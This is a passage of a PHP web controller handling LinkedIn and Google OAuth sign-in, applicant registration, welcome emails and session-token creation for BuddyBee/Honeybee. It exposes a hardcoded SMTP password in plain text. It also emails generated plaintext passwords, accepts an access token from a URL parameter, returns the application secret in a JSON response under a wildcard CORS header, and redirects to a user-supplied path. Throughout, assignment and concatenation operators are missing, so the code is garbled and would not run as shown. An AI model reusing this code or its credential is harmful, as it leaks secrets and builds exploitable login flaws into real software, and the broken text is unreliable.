  6619.                     CURLOPT_HTTPHEADER => array(
  6620.                         'Authorization: Bearer ' $token,
  6621.                         'Header-Key-2: Header-Value-2'
  6622.                     )
  6623.                 ));
  6624.                 $userGeneralcontent curl_exec($curl);
  6625.                 curl_close($curl);
  6626.                 if ($userGeneralcontent) {
  6627.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6628.                 }
  6629.                 $curl curl_init();
  6630.                 curl_setopt_array($curl, array(
  6631.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6632.                     CURLOPT_HEADER => false,  // don't return headers
  6633.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6634.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6635.                     CURLOPT_ENCODING => "",     // handle compressed
  6636.                     CURLOPT_USERAGENT => "test"// name of client
  6637.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6638.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6639.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6640.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6641. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6642.                     CURLOPT_USERAGENT => 'InnoPM',
  6643.                     CURLOPT_HTTPGET => 1,
  6644.                     CURLOPT_HTTPHEADER => array(
  6645.                         'Authorization: Bearer ' $token,
  6646.                         'Header-Key-2: Header-Value-2'
  6647.                     )
  6648.                 ));
  6649.                 $userEmailcontent curl_exec($curl);
  6650.                 curl_close($curl);
  6651.                 $token false;
  6652.                 if ($userEmailcontent) {
  6653.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6654.                 }
  6655. //        $oAuthEmail = $applicantInfo['email'];
  6656. //        return new JsonResponse(array(
  6657. //          'userEmailcontent'=>$userEmailcontent,
  6658. //          'userGeneralcontent'=>$userGeneralcontent,
  6659. //        ));
  6660. //        return new response($userGeneralcontent);
  6661.                 $oAuthData = [
  6662.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6663.                     'uniqueId' => $userGeneralcontent['id'],
  6664.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6665.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6666.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6667.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6668.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6669.                     'type' => 1,
  6670.                     'token' => $token,
  6671.                 ];
  6672.             }
  6673.         } else if (isset($_GET["code"])) {
  6674.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6675.             if (!isset($token['error'])) {
  6676.                 $google_client->setAccessToken($token['access_token']);
  6677.                 $google_service = new Google_Service_Oauth2($google_client);
  6678.                 $applicantInfo $google_service->userinfo->get();
  6679.                 $oAuthEmail $applicantInfo['email'];
  6680.                 $oAuthData = [
  6681.                     'email' => $applicantInfo['email'],
  6682.                     'uniqueId' => $applicantInfo['id'],
  6683.                     'image' => $applicantInfo['picture'],
  6684.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6685.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6686.                     'firstName' => $applicantInfo['givenName'],
  6687.                     'lastName' => $applicantInfo['familyName'],
  6688.                     'type' => $token['token_type'],
  6689.                     'token' => $token['access_token'],
  6690.                 ];
  6691.             }
  6692.         } else if (isset($_GET["access_token"])) {
  6693.             $token $_GET["access_token"];
  6694.             $tokenType $_GET["token_type"];
  6695.             if (!isset($token['error'])) {
  6696.                 $google_client->setAccessToken($token);
  6697.                 $google_service = new Google_Service_Oauth2($google_client);
  6698.                 $applicantInfo $google_service->userinfo->get();
  6699.                 $oAuthEmail $applicantInfo['email'];
  6700.                 $oAuthData = [
  6701.                     'email' => $applicantInfo['email'],
  6702.                     'uniqueId' => $applicantInfo['id'],
  6703.                     'image' => $applicantInfo['picture'],
  6704.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6705.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6706.                     'firstName' => $applicantInfo['givenName'],
  6707.                     'lastName' => $applicantInfo['familyName'],
  6708.                     'type' => $tokenType,
  6709.                     'token' => $token,
  6710.                 ];
  6711.             }
  6712.         }
  6713.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6714.             // Multi-email aware, injection-safe (2026-07-04 fix): match the OAuth email against ANY
  6715.             // tagged email (comma list, email OR oAuthEmail). Replaces exact single-value findOneBy
  6716.             // + a hand-rolled comma-LIKE that interpolated the email into SQL and false-matched.
  6717.             $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthData['email']);
  6718.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6719.                 $isApplicantExist $applicantRepo->findOneBy([
  6720.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6721.                 ]);
  6722.             }
  6723.             if ($isApplicantExist) {
  6724.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6725.                 } else
  6726.                     return $this->redirectToRoute("core_login", [
  6727.                         'id' => $isApplicantExist->getApplicantId(),
  6728.                         'oAuthData' => $oAuthData,
  6729.                         'encData' => $encData,
  6730.                         'locale' => $request->request->get('locale''en'),
  6731.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6732.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6733.                     ]);
  6734.             } else {
  6735.                 $fname $oAuthData['firstName'];
  6736.                 $lname $oAuthData['lastName'];
  6737.                 $img $oAuthData['image'];
  6738.                 $email $oAuthData['email'];
  6739.                 $oAuthEmail $oAuthData['email'];
  6740.                 $userName explode('@'$email)[0];
  6741.                 //now check if same username exists
  6742.                 $username_already_exist 1;
  6743.                 $initial_user_name $userName;
  6744.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6745.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6746.                     $isUsernameExist $applicantRepo->findOneBy([
  6747.                         'username' => $userName
  6748.                     ]);
  6749.                     if ($isUsernameExist) {
  6750.                         $username_already_exist 1;
  6751.                         $userName $initial_user_name '' rand(3009987);
  6752.                     } else {
  6753.                         $username_already_exist 0;
  6754.                     }
  6755.                     $timeoutSafeCount--;
  6756.                 }
  6757.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6758.                     $currentUnixTimeStamp '';
  6759.                     $currentUnixTime = new \DateTime();
  6760.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6761.                     $userName $userName '' $currentUnixTimeStamp;
  6762.                 }
  6763.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6764.                 $charactersLength strlen($characters);
  6765.                 $length 8;
  6766.                 $password 0;
  6767.                 for ($i 0$i $length$i++) {
  6768.                     $password .= $characters[rand(0$charactersLength 1)];
  6769.                 }
  6770.                 $newApplicant = new EntityApplicantDetails();
  6771.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6772.                 $newApplicant->setEmail($email);
  6773.                 $newApplicant->setUserName($userName);
  6774.                 $newApplicant->setFirstname($fname);
  6775.                 $newApplicant->setLastname($lname);
  6776.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6777.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6778.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6779.                 $newApplicant->setAccountStatus(1);
  6780.                 $salt uniqid(mt_rand());
  6781.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6782.                 $newApplicant->setPassword($encodedPassword);
  6783.                 $newApplicant->setSalt($salt);
  6784.                 $newApplicant->setTempPassword($password);;
  6785. //                $newApplicant->setPassword($password);
  6786.                 $marker $userName '-' time();
  6787. //                $extension_here=$uploadedFile->guessExtension();
  6788. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6789. //                $path = $fileName;
  6790.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6791.                 if (!file_exists($upl_dir)) {
  6792.                     mkdir($upl_dir0777true);
  6793.                 }
  6794.                 $ch curl_init($img);
  6795.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6796.                 curl_setopt($chCURLOPT_FILE$fp);
  6797.                 curl_setopt($chCURLOPT_HEADER0);
  6798.                 curl_exec($ch);
  6799.                 curl_close($ch);
  6800.                 fclose($fp);
  6801.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6802. //                $newApplicant->setImage($img);
  6803.                 $newApplicant->setIsConsultant(0);
  6804.                 $newApplicant->setIsTemporaryEntry(0);
  6805.                 $newApplicant->setApplyForConsultant(0);
  6806.                 $em->persist($newApplicant);
  6807.                 $em->flush();
  6808.                 $isApplicantExist $newApplicant;
  6809.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6810.                     if ($systemType == '_BUDDYBEE_') {
  6811.                         $bodyHtml '';
  6812.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6813.                         $bodyData = array(
  6814.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6815.                             'email' => $userName,
  6816.                             'password' => $newApplicant->getPassword(),
  6817.                         );
  6818.                         $attachments = [];
  6819.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6820. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6821.                         $new_mail $this->get('mail_module');
  6822.                         $new_mail->sendMyMail(array(
  6823.                             'senderHash' => '_CUSTOM_',
  6824.                             //                        'senderHash'=>'_CUSTOM_',
  6825.                             'forwardToMailAddress' => $forwardToMailAddress,
  6826.                             'subject' => 'Welcome to BuddyBee ',
  6827. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6828.                             'attachments' => $attachments,
  6829.                             'toAddress' => $forwardToMailAddress,
  6830.                             'fromAddress' => 'registration@buddybee.eu',
  6831.                             'userName' => 'registration@buddybee.eu',
  6832.                             'password' => 'Y41dh8g0112',
  6833.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6834.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6835.                             'encryptionMethod' => 'ssl',
  6836. //                            'emailBody' => $bodyHtml,
  6837.                             'mailTemplate' => $bodyTemplate,
  6838.                             'templateData' => $bodyData,
  6839. //                        'embedCompanyImage' => 1,
  6840. //                        'companyId' => $companyId,
  6841. //                        'companyImagePath' => $company_data->getImage()
  6842.                         ));
  6843.                     } else {
  6844.                         $bodyHtml '';
  6845.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6846.                         $bodyData = array(
  6847.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6848.                             'email' => 'APP-' $userName,
  6849.                             'password' => $newApplicant->getPassword(),
  6850.                         );
  6851.                         $attachments = [];
  6852.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6853. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6854.                         $new_mail $this->get('mail_module');
  6855.                         $new_mail->sendMyMail(array(
  6856.                             'senderHash' => '_CUSTOM_',
  6857.                             //                        'senderHash'=>'_CUSTOM_',
  6858.                             'forwardToMailAddress' => $forwardToMailAddress,
  6859.                             'subject' => 'Applicant Registration on Honeybee',
  6860. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6861.                             'attachments' => $attachments,
  6862.                             'toAddress' => $forwardToMailAddress,
  6863.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6864.                             'userName' => 'accounts@ourhoneybee.eu',
  6865.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  6866.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6867.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6868.                             'encryptionMethod' => 'ssl',
  6869. //                            'emailBody' => $bodyHtml,
  6870.                             'mailTemplate' => $bodyTemplate,
  6871.                             'templateData' => $bodyData,
  6872. //                        'embedCompanyImage' => 1,
  6873. //                        'companyId' => $companyId,
  6874. //                        'companyImagePath' => $company_data->getImage()
  6875.                         ));
  6876.                     }
  6877.                 }
  6878.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6879.                 } else {
  6880.                     return $this->redirectToRoute("core_login", [
  6881.                         'id' => $newApplicant->getApplicantId(),
  6882.                         'oAuthData' => $oAuthData,
  6883.                         'encData' => $encData,
  6884.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6885.                         'locale' => $request->request->get('locale''en'),
  6886.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6887.                     ]);
  6888.                 }
  6889.             }
  6890.         }
  6891.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6892.             if ($isApplicantExist) {
  6893.                 $user $isApplicantExist;
  6894.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6895.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  6896.                 $globalId $user->getApplicantId();
  6897.                 $gocList $em
  6898.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  6899.                     ->findBy(
  6900.                         array(//                        'active' => 1
  6901.                         )
  6902.                     );
  6903.                 $gocDataList = [];
  6904.                 $gocDataListForLoginWeb = [];
  6905.                 $gocDataListByAppId = [];
  6906.                 foreach ($gocList as $entry) {
  6907.                     $d = array(
  6908.                         'name' => $entry->getName(),
  6909.                         'image' => $entry->getImage(),
  6910.                         'id' => $entry->getId(),
  6911.                         'appId' => $entry->getAppId(),
  6912.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  6913.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  6914.                         'dbName' => $entry->getDbName(),
  6915.                         'dbUser' => $entry->getDbUser(),
  6916.                         'dbPass' => $entry->getDbPass(),
  6917.                         'dbHost' => $entry->getDbHost(),
  6918.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  6919.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  6920.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  6921.                         'companyRemaining' => $entry->getCompanyRemaining(),
  6922.                         'companyAllowed' => $entry->getCompanyAllowed(),
  6923.                     );
  6924.                     $gocDataList[$entry->getId()] = $d;
  6925.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  6926.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  6927.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  6928.                 }
  6929.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  6930.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6931.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6932.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6933.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6934.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6935.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6936.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6937.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6938.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6939.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6940.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6941.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6942.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6943.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6944.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6945.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6946.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6947.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6948.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6949.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6950.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6951.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6952.                     $session->set('userCompanyVibrantList'json_encode([]));
  6953.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6954.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6955.                     $session->set(UserConstants::USER_APP_ID0);
  6956.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6957.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6958.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6959.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6960.                     $session->set(UserConstants::USER_GOC_ID0);
  6961.                     $session->set(UserConstants::USER_DB_NAME'');
  6962.                     $session->set(UserConstants::USER_DB_USER'');
  6963.                     $session->set(UserConstants::USER_DB_PASS'');
  6964.                     $session->set(UserConstants::USER_DB_HOST'');
  6965.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6966.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6967.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6968.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6969.                     $session->set('locale'$request->request->get('locale'''));
  6970.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6971.                     $route_list_array = [];
  6972.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6973.                     $loginID 0;
  6974.                     $loginID MiscActions::addEntityUserLoginLog(
  6975.                         $em,
  6976.                         $session->get(UserConstants::USER_ID),
  6977.                         $session->get(UserConstants::USER_ID),
  6978.                         1,
  6979.                         $request->server->get("REMOTE_ADDR"),
  6980.                         0,
  6981.                         $request->request->get('deviceId'''),
  6982.                         $request->request->get('oAuthToken'''),
  6983.                         $request->request->get('oAuthType'''),
  6984.                         $request->request->get('locale'''),
  6985.                         $request->request->get('firebaseToken''')
  6986.                     );
  6987.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6988.                     $session_data = array(
  6989.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6990.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6991.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6992.                         'oAuthToken' => $session->get('oAuthToken'),
  6993.                         'locale' => $session->get('locale'),
  6994.                         'firebaseToken' => $session->get('firebaseToken'),
  6995.                         'token' => $session->get('token'),
  6996.                         'firstLogin' => 0,
  6997.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6998.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6999.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7000.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7001.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7002.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7003.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7004.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7005.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7006.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7007.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7008.                         'oAuthImage' => $session->get('oAuthImage'),
  7009.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7010.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7011.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7012.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7013.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7014.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7015.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7016.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7017.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7018.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7019.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7020.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7021.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7022.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7023.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7024.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7025.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7026.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7027.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7028.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7029.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7030.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7031.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7032.                         //new
  7033.                         'appIdList' => $session->get('appIdList'),
  7034.                         'branchIdList' => $session->get('branchIdList'null),
  7035.                         'branchId' => $session->get('branchId'null),
  7036.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7037.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7038.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7039.                     );
  7040.                     $accessList = [];
  7041. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7042.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7043.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7044.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7045.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7046.                                 $d = array(
  7047.                                     'userType' => $thisUserUserType,
  7048. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7049.                                     'userTypeName' => $userTypeName,
  7050.                                     'globalId' => $globalId,
  7051.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7052.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7053.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7054.                                     'systemType' => '_ERP_',
  7055.                                     'companyId' => 1,
  7056.                                     'appId' => $thisUserAppId,
  7057.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7058.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7059.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7060.                                             array(
  7061.                                                 'globalId' => $globalId,
  7062.                                                 'appId' => $thisUserAppId,
  7063.                                                 'authenticate' => 1,
  7064.                                                 'userType' => $thisUserUserType,
  7065.                                                 'userTypeName' => $userTypeName
  7066.                                             )
  7067.                                         )
  7068.                                     ),
  7069.                                     'userCompanyList' => [
  7070.                                     ]
  7071.                                 );
  7072.                                 $accessList[] = $d;
  7073.                             }
  7074.                         }
  7075.                     }
  7076.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7077.                     $session_data['userAccessList'] = $accessList;
  7078.                     $session->set('userAccessList'json_encode($accessList));
  7079.                     $session_data $this->filterClientSessionData($session_data);
  7080.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7081.                     $session_data $tokenData['sessionData'];
  7082.                     $token $tokenData['token'];
  7083.                     $session->set('token'$token);
  7084.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7085.                         $session->set('remoteVerified'1);
  7086.                         $response = new JsonResponse(array(
  7087.                             'token' => $token,
  7088.                             'uid' => $session->get(UserConstants::USER_ID),
  7089.                             'session' => $session,
  7090.                             'success' => true,
  7091.                             'session_data' => $session_data,
  7092.                         ));
  7093.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7094.                         return $response;
  7095.                     }
  7096.                     if ($request->request->has('referer_path')) {
  7097.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7098.                             return $this->redirect($request->request->get('referer_path'));
  7099.                         }
  7100.                     }
  7101.                     $redirectRoute 'applicant_dashboard';
  7102.                     if ($request->query->has('encData')) {
  7103.                         if ($request->query->get('encData') == '8917922')
  7104.                             $redirectRoute 'apply_for_consultant';
  7105.                     }
  7106.                     return $this->redirectToRoute($redirectRoute);
  7107.                 }
  7108. //                    $response = new JsonResponse(array(
  7109. //                        'token' => $token,
  7110. //                        'uid' => $session->get(UserConstants::USER_ID),
  7111. //                        'session' => $session,
  7112. //
  7113. //                        'success' => true,
  7114. //                        'session_data' => $session_data,
  7115. //
  7116. //                    ));
  7117. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7118. //                    return $response;
  7119. //                    return $this->redirectToRoute("user_login", [
  7120. //                        'id' => $isApplicantExist->getApplicantId(),
  7121. //                        'oAuthData' => $oAuthData,
  7122. //                        'encData' => $encData,
  7123. //                        'locale' => $request->request->get('locale', 'en'),
  7124. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7125. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7126. //                    ]);
  7127.             }
  7128.         }
  7129.         $selector BuddybeeConstant::$selector;
  7130.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7131.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7132.         if ($systemType == '_ERP_') {
  7133.         } else if ($systemType == '_CENTRAL_') {
  7134.             return $this->render(
  7135.                 '@Authentication/pages/views/central_login.html.twig',
  7136.                 [
  7137.                     'page_title' => 'Central Login',
  7138.                     'oAuthLink' => $google_client->createAuthUrl(),
  7139.                     'redirect_url' => $url,
  7140.                     'message' => $message,
  7141.                     'systemType' => $systemType,
  7142.                     'ownServerId' => $ownServerId,
  7143.                     'errorField' => '',
  7144.                     'encData' => $encData,
  7145.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7146.                     'selector' => $selector,
  7147.                 ]
  7148.             );
  7149.         } else if ($systemType == '_BUDDYBEE_') {
  7150.             return $this->render(
  7151.                 '@Authentication/pages/views/applicant_login.html.twig',
  7152.                 [
  7153.                     'page_title' => 'BuddyBee Login',
  7154.                     'oAuthLink' => $google_client->createAuthUrl(),
  7155.                     'redirect_url' => $url,
  7156.                     'message' => $message,
  7157.                     'errorField' => $errorField,
  7158.                     'encData' => $encData,
  7159.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7160.                     'selector' => $selector
  7161.                 ]
  7162.             );
  7163.         }
  7164.         return $this->render(
  7165.             '@Authentication/pages/views/applicant_login.html.twig',
  7166.             [
  7167.                 'page_title' => 'Applicant Registration',
  7168.                 'oAuthLink' => $google_client->createAuthUrl(),
  7169.                 'redirect_url' => $url,
  7170.                 'encData' => $encData,
  7171.                 'message' => $message,
  7172.                 'errorField' => $errorField,
  7173.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7174.                 'selector' => $selector
  7175.             ]
  7176.         );
  7177.     }
  7178.     public function sophiaLoginAction(Request $request$encData ''$remoteVerify 0)
  7179.     {
  7180.         $session $request->getSession();
  7181.         $email $request->getSession()->get('userEmail');
  7182.         $sessionUserId $request->getSession()->get('userId');
  7183.         $oAuthData = [];
  7184. //    $encData='';
  7185.         $em $this->getDoctrine()->getManager('company_group');
  7186.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
